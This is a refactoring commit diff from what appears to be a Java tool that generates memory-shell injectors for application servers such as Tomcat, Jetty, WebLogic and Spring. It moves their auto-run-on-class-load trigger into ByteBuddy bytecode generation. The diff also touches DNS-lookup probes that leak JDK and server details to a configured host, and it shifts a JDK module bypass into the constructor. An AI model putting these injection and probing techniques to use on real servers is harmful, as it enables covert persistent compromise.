refactor: rm static block for better life

2026-09-21 22:50:42 +08:00 · 2025-08-13 23:53:40 +08:00
parent 3a10568346
commit 829b0e8be7
52 changed files with 49 additions and 220 deletions
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class ApusicFilterInjector {

-    static {
-        new ApusicFilterInjector();
-    }
-
    public ApusicFilterInjector() {
        try {
            List<Object> contexts = getContext();
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
 * @since 2024/12/27
 */
 public class ApusicListenerInjector {
-    static {
-        new ApusicListenerInjector();
-    }

    public ApusicListenerInjector() {
        try {
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class ApusicServletInjector {

-    static {
-        new ApusicServletInjector();
-    }
-
    public ApusicServletInjector() {
        try {
            List<Object> contexts = getContext();
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
 public class BesFilterInjector {
    Logger log = Logger.getLogger(BesFilterInjector.class.getName());

-    static {
-        new BesFilterInjector();
-    }
-
    public BesFilterInjector() {
        try {
            List<Object> contexts = getContext();
@@ -6,7 +6,6 @@ import java.io.IOException;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.*;
-import java.util.logging.Logger;
 import java.util.zip.GZIPInputStream;


@@ -14,12 +13,6 @@ import java.util.zip.GZIPInputStream;
 * @author ReaJason
 */
 public class BesListenerInjector {
-    static {
-        new BesListenerInjector();
-    }
-
-    Logger log = Logger.getLogger(BesListenerInjector.class.getName());
-

    public String getClassName() {
        return "{{className}}";
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class BesValveInjector {

-    static {
-        new BesValveInjector();
-    }
-
    public BesValveInjector() {
        try {
            List<Object> contexts = getContext();
@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class GlassFishFilterInjector {

-    static {
-        new GlassFishFilterInjector();
-    }
-
    public String getUrlPattern() {
        return "{{urlPattern}}";
    }
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class GlassFishValveInjector {

-    static {
-        new GlassFishValveInjector();
-    }
-
    public GlassFishValveInjector() {
        try {
            List<Object> contexts = getContext();
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
 public class InforSuiteFilterInjector {
    Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());

-    static {
-        new InforSuiteFilterInjector();
-    }
-
    public InforSuiteFilterInjector() {
        try {
            List<Object> contexts = getContext();
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;

 public class JettyFilterInjector {

-    static {
-        new JettyFilterInjector();
-    }
-
    public JettyFilterInjector() {
        try {
            List<Object> contexts = getContext();
@@ -20,10 +20,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class JettyListenerInjector {

-    static {
-        new JettyListenerInjector();
-    }
-
    public JettyListenerInjector() {
        try {
            List<Object> contexts = getContext();
@@ -15,10 +15,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class JettyServletInjector {

-    static {
-        new JettyServletInjector();
-    }
-
    public JettyServletInjector() {
        try {
            List<Object> contexts = getContext();
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class ResinFilterInjector {

-    static {
-        new ResinFilterInjector();
-    }
-
    public ResinFilterInjector() {
        try {
            List<Object> contexts = getContext();
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
 * @author ReaJason
 */
 public class ResinListenerInjector {
-    static {
-        new ResinListenerInjector();
-    }

    public ResinListenerInjector() {
        try {
@@ -14,10 +14,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class ResinServletInjector {

-    static {
-        new ResinServletInjector();
-    }
-
    public ResinServletInjector() {
        try {
            List<Object> contexts = getContext();
@@ -19,10 +19,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class SpringWebFluxHandlerFunctionInjector {

-    static {
-        new SpringWebFluxHandlerFunctionInjector();
-    }
-
    public String getUrlPattern() {
        return "{{urlPattern}}";
    }
@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class SpringWebFluxHandlerMethodInjector {

-    static {
-        new SpringWebFluxHandlerMethodInjector();
-    }
-
    public String getUrlPattern() {
        return "{{urlPattern}}";
    }
@@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigurer {

-    static {
-        new SpringWebFluxNettyHandlerInjector();
-    }
-
    public String getClassName() {
        return "{{className}}";
    }
@@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class SpringWebFluxWebFilterInjector {

-    static {
-        new SpringWebFluxWebFilterInjector();
-    }
-
    public String getClassName() {
        return "{{className}}";
    }
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class SpringWebMvcControllerHandlerInjector {

-    static {
-        new SpringWebMvcControllerHandlerInjector();
-    }
-
    public String getUrlPattern() {
        return "{{urlPattern}}";
    }
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class SpringWebMvcInterceptorInjector {

-    static {
-        new SpringWebMvcInterceptorInjector();
-    }
-
    public String getClassName() {
        return "{{className}}";
    }
@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class TomcatFilterInjector {

-    static {
-        new TomcatFilterInjector();
-    }
-
    public String getUrlPattern() {
        return "{{urlPattern}}";
    }
@@ -18,10 +18,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class TomcatListenerInjector {

-    static {
-        new TomcatListenerInjector();
-    }
-
    public TomcatListenerInjector() {
        try {
            List<Object> contexts = getContext();
@@ -21,10 +21,6 @@ public class TomcatProxyValveInjector implements InvocationHandler {
    private Object rawValve;
    private Object proxyValve;

-    static {
-        new TomcatProxyValveInjector();
-    }
-
    public TomcatProxyValveInjector() {
        try {
            List<Object> contexts = getContext();
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
 * @since 2024/12/15
 */
 public class TomcatServletInjector {
-    static {
-        new TomcatServletInjector();
-    }

    public TomcatServletInjector() {
        try {
@@ -20,10 +20,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class TomcatValveInjector {

-    static {
-        new TomcatValveInjector();
-    }
-
    public TomcatValveInjector() {
        try {
            List<Object> contexts = getContext();
@@ -18,10 +18,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class TomcatWebSocketInjector {

-    static {
-        new TomcatWebSocketInjector();
-    }
-
    public TomcatWebSocketInjector() {
        try {
            List<Object> contexts = getContext();
@@ -19,10 +19,6 @@ import java.util.zip.GZIPInputStream;
 public class TongWebFilterInjector {
    Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName());

-    static {
-        new TongWebFilterInjector();
-    }
-
    public String getUrlPattern() {
        return "{{urlPattern}}";
    }
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class TongWebListenerInjector {

-    static {
-        new TongWebListenerInjector();
-    }
-
    public TongWebListenerInjector() {
        try {
            Set<Object> contexts = getContext();
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class TongWebValveInjector {

-    static {
-        new TongWebValveInjector();
-    }
-
    public TongWebValveInjector() {
        try {
            Set<Object> contexts = getContext();
@@ -14,11 +14,6 @@ import java.util.zip.GZIPInputStream;
 * @author ReaJason
 */
 public class UndertowFilterInjector {
-
-    static {
-        new UndertowFilterInjector();
-    }
-
    public UndertowFilterInjector() {
        try {
            List<Object> contexts = getContext();
@@ -16,9 +16,6 @@ import java.util.zip.GZIPInputStream;
 * @author ReaJason
 */
 public class UndertowListenerInjector {
-    static {
-        new UndertowListenerInjector();
-    }

    public UndertowListenerInjector() {
        try {
@@ -16,9 +16,6 @@ import java.util.zip.GZIPInputStream;
 * @since 2024/12/21
 */
 public class UndertowServletInjector {
-    static {
-        new UndertowServletInjector();
-    }

    public UndertowServletInjector() {
        try {
@@ -14,10 +14,6 @@ import java.util.zip.GZIPInputStream;
 */
 public class WebLogicFilterInjector {

-    static {
-        new WebLogicFilterInjector();
-    }
-
    public String getUrlPattern() {
        return "{{urlPattern}}";
    }
@@ -25,10 +25,6 @@ public class WebLogicListenerInjector {
        return "{{base64Str}}";
    }

-    static {
-        new WebLogicListenerInjector();
-    }
-
    public WebLogicListenerInjector() {
        try {
            Object[] contexts = getContext();
@@ -18,11 +18,6 @@ import java.util.zip.GZIPInputStream;
 * @author ReaJason
 */
 public class WebLogicServletInjector {
-
-    static {
-        new WebLogicServletInjector();
-    }
-
    public String getUrlPattern() {
        return "{{urlPattern}}";
    }
@@ -19,11 +19,6 @@ import java.util.zip.GZIPInputStream;
 * @author ReaJason
 */
 public class WebSphereFilterInjector {
-
-    static {
-        new WebSphereFilterInjector();
-    }
-
    public WebSphereFilterInjector() {
        try {
            List<Object> contexts = getContext();
@@ -22,10 +22,6 @@ public class WebSphereListenerInjector {
        return "{{base64Str}}";
    }

-    static {
-        new WebSphereListenerInjector();
-    }
-
    public WebSphereListenerInjector() {
        try {
            List<Object> contexts = getContext();
@@ -15,11 +15,6 @@ import java.util.zip.GZIPInputStream;
 * @since 2024/12/21
 */
 public class WebSphereServletInjector {
-
-    static {
-        new WebSphereServletInjector();
-    }
-
    public WebSphereServletInjector() {
        try {
            List<Object> contexts = getContext();
@@ -26,10 +26,6 @@ import java.util.zip.GZIPInputStream;
 * @since 2025/1/21
 */
 public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
-    static {
-        new XxlJobNettyHandlerInjector();
-    }
-
    public String getClassName() {
        return "{{className}}";
    }
@@ -9,10 +9,6 @@ import java.net.InetAddress;
 public class DnsLogJdk {
    public static String host;

-    static {
-        new DnsLogJdk();
-    }
-
    public DnsLogJdk() {
        String[] jdkInfos = getJdk().split("\\|");
        String[] result = new String[]{
@@ -9,10 +9,6 @@ import java.net.InetAddress;
 public class DnsLogServer {
    public static String host;

-    static {
-        new DnsLogServer();
-    }
-
    public DnsLogServer() {
        try {
            InetAddress.getAllByName("serverType." + getServer().toLowerCase() + "." + host);
@@ -11,10 +11,6 @@ import java.util.Set;
 */
 public class GlassFishWriter {

-    static {
-        new GlassFishWriter();
-    }
-
    public GlassFishWriter() {
        try {
            try {
@@ -10,11 +10,6 @@ import java.lang.reflect.Method;
 * @since 2025/8/5
 */
 public class JettyWriter {
-
-    static {
-        new JettyWriter();
-    }
-
    public JettyWriter() {
        try {
            Thread thread = Thread.currentThread();
@@ -9,10 +9,6 @@ import java.lang.reflect.Method;
 * @since 2025/8/8
 */
 public class ResinWriter {
-    static {
-        new ResinWriter();
-    }
-
    public ResinWriter() {
        try {
            ClassLoader loader = Thread.currentThread().getContextClassLoader();
@@ -7,11 +7,6 @@ import java.util.List;
 import java.util.Set;

 public class TomcatWriter {
-
-    static {
-        new TomcatWriter();
-    }
-
    public TomcatWriter() {
        try {
            Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -7,11 +7,6 @@ import java.util.List;
 import java.util.Set;

 public class TongWebWriter {
-
-    static {
-        new TongWebWriter();
-    }
-
    public TongWebWriter() {
        try {
            Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -10,11 +10,6 @@ import java.lang.reflect.Method;
 * @since 2025/8/8
 */
 public class UndertowWriter {
-
-    static {
-        new UndertowWriter();
-    }
-
    public UndertowWriter() {
        try {
            Thread thread = Thread.currentThread();
@@ -9,10 +9,6 @@ import java.lang.reflect.Method;
 * @since 2025/8/10
 */
 public class WebLogicWriter {
-    static {
-        new WebLogicWriter();
-    }
-
    public WebLogicWriter() {
        try {
            Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
@@ -11,9 +11,6 @@ import java.lang.reflect.Method;
 * @since 2025/8/10
 */
 public class WebSphereWriter {
-    static {
-        new WebSphereWriter();
-    }

    public WebSphereWriter() {
        try {
@@ -5,7 +5,7 @@ import net.bytebuddy.dynamic.DynamicType;

 import java.lang.reflect.Field;

-import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
+import static net.bytebuddy.matcher.ElementMatchers.isDefaultConstructor;

 /**
 * JDK9 引入的 module 系统，只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制，使我们能像低版本一样任意反射获取方法
@@ -33,24 +33,12 @@ public class ByPassJavaModuleInterceptor {
     * Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
     * Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
     * <br>
-     * 在静态代码块中执行 byPassJdkModule 代码
-     * 值得注意的一点，builder 是不可变类型，所以都是需要重新赋值，例如以下代码示例
-     * # code that not work
-     * builder = new Bytebuddy().redefine(class);
-     * builder.visit(something);
-     * builder.make();
-     * <br>
-     * # code that work
-     * <br>
-     * builder = new Bytebuddy().redefine(class);
-     * builder = builder.visit(something);
-     * builder.make();
-     *
+     * 在默认构造方法中执行 byPassJdkModule 代码
     * @param builder bytebuddy builder
     * @return new builder with bypass
     */
    public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
        return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class)
-                .on(isTypeInitializer()));
+                .on(isDefaultConstructor()));
    }
 }
@@ -0,0 +1,46 @@
+package com.reajason.javaweb.buddy;
+
+import net.bytebuddy.description.method.MethodDescription;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.implementation.Implementation;
+import net.bytebuddy.implementation.bytecode.ByteCodeAppender;
+import net.bytebuddy.jar.asm.MethodVisitor;
+import net.bytebuddy.jar.asm.Opcodes;
+
+import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
+
+/**
+ * 在静态代码块中添加构造方法调用例如：
+ * static {
+ *     new Injector();
+ * }
+ *
+ * @author ReaJason
+ * @since 2025/8/12
+ */
+public class StaticBlockSelfConstructorCall implements ByteCodeAppender {
+
+    public static StaticBlockSelfConstructorCall INSTANCE = new StaticBlockSelfConstructorCall();
+
+    public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
+        return builder
+                .invokable(isTypeInitializer())
+                .intercept(new Implementation.Simple(StaticBlockSelfConstructorCall.INSTANCE));
+    }
+
+    @Override
+    public Size apply(MethodVisitor methodVisitor,
+                      Implementation.Context implementationContext,
+                      MethodDescription instrumentedMethod) {
+        methodVisitor.visitTypeInsn(Opcodes.NEW, implementationContext.getInstrumentedType().getInternalName());
+        methodVisitor.visitInsn(Opcodes.DUP);
+        methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL,
+                implementationContext.getInstrumentedType().getInternalName(),
+                "<init>",
+                "()V",
+                false);
+        methodVisitor.visitInsn(Opcodes.POP);
+        methodVisitor.visitInsn(Opcodes.RETURN);
+        return new Size(2, 2);
+    }
+}